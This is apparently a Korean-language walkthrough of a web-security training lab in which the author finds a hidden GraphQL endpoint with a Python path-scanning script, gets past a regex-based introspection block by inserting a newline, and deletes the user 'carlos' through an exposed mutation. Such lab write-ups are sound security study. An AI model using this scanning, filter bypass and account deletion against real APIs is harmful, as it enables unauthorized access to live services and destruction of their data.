Lab: 숨겨진 GraphQL 엔드포인트 찾기
Source: Dev.to
설명
이 실습의 사용자 관리 기능은 숨겨진 GraphQL 엔드포인트에 의해 구동됩니다. 사이트의 페이지를 클릭하는 것만으로는 이 엔드포인트를 찾을 수 없습니다. 또한 엔드포인트는 인트로스펙션에 대한 방어 메커니즘을 가지고 있습니다.
실습을 해결하려면 숨겨진 엔드포인트를 찾아 carlos를 삭제하세요.
문제 분석
Recon
Lab은 명시적인 GraphQL 엔드포인트를 노출하지 않습니다(예: /graphql, /graphiql 등). 흔히 사용되는 경로들을 시도해 보아야 합니다.
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
Exploitation
단계 1: 숨겨진 GraphQL 엔드포인트 스캔
Python 스크립트를 작성해 엔드포인트를 찾습니다.
import requests
BASE_URL = "https://0a0a00d00322650a805644e4006800a4.web-security-academy.net"
# /login 요청에서 얻은 쿠키
COOKIES = {
"session": "XHAvkzbOEaTNhOHFhW6sCjzHp1nRV6a1"
}
HEADERS = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
# 실제 환경에서 자주 보는 엔드포인트
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
TEST_QUERY = "query{__typename}"
def is_graphql_endpoint(path):
url = BASE_URL + path
params = {"query": TEST_QUERY}
try:
r = requests.get(
url,
headers=HEADERS,
cookies=COOKIES,
params=params,
timeout=5
)
if r.status_code == 200 and "__typename" in r.text:
print(f"[+] GraphQL endpoint FOUND: {path}")
print(r.text)
return True
else:
print(f"[-] {path} -> Not GraphQL")
except Exception as e:
print(f"[!] {path} -> Error: {e}")
return False
if __name__ == "__main__":
print("[*] Scanning for hidden GraphQL endpoint...\n")
for path in COMMON_GRAPHQL_PATHS:
if is_graphql_endpoint(path):
break
검색 결과:

단계 2: 인트로스펙션 방어 우회
표준 인트로스펙션 쿼리를 보내면 서버가 __schema{ 문자열을 정규식으로 차단합니다. GraphQL은 공백/줄바꿈을 무시하지만 정규식은 이를 제대로 처리하지 못할 수 있으므로, 줄바꿈을 삽입해 우회할 수 있습니다.

\n을 이용한 우회:

스키마를 확보한 뒤, 위험한 뮤테이션 "name": "deleteOrganizationUser"가 있음을 확인합니다.
carlos의 id를 찾아 삭제해야 합니다:
query {
getUser(id: ...) {
id
username
}
}

제출
deleteOrganizationUser 뮤테이션을 사용해 carlos 계정을 삭제합니다.

DONE!